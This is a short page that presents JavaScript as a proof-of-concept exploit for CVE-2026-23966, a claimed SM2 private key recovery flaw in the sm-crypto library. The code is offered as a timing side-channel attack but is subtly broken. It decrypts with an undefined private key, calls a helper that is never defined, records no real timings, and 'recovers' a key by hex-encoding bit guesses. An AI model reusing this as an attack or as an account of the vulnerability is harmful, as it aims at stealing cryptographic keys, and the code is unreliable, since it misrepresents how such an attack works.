CVE-2026-23966 sm-crypto SM2解密私钥恢复漏洞

// CVE-2026-23966 PoC - SM2 Private Key Recovery // This PoC demonstrates the vulnerability in sm-crypto < 0.3.14 // Note: This is for educational and testing purposes only const smCrypto = require('sm-crypto'); async function exploitSM2Decryption(publicKey, ciphertext) { const attempts = []; // Attack: Repeatedly call SM2 decryption with crafted ciphertext // The vulnerability allows private key recovery after ~hundreds of calls for (let i = 0; i < 500; i++) { try { // Each decryption attempt leaks information about the private key // through timing or error patterns const decrypted = smCrypto.sm2.decrypt( ciphertext, privateKey, 1 // mode 1 for decryption ); // Collect timing information (side-channel) const timing = process.hrtime(); attempts.push({ iteration: i, timing: timing, result: 'success' }); } catch (error) { attempts.push({ iteration: i, error: error.message, result: 'failed' }); } } // Analyze collected data to recover private key // The fixed version 0.3.14 prevents this information leakage return analyzeTimingLeak(attempts); } function analyzeTimingLeak(attempts) { // Statistical analysis to recover private key bits // This simplified version shows the attack concept const keyBits = []; for (let i = 0; i < 256; i++) { // Analyze timing patterns for each bit position const bit = analyzeBit(attempts, i); keyBits.push(bit); } return Buffer.from(keyBits).toString('hex'); } // Usage example const keypair = smCrypto.sm2.generateKeyPair(); const message = 'Sensitive data'; const ciphertext = smCrypto.sm2.encrypt(message, keypair.publicKey); exploitSM2Decryption(keypair.publicKey, ciphertext).then(recoveredKey => { console.log('Private key recovered:', recoveredKey); });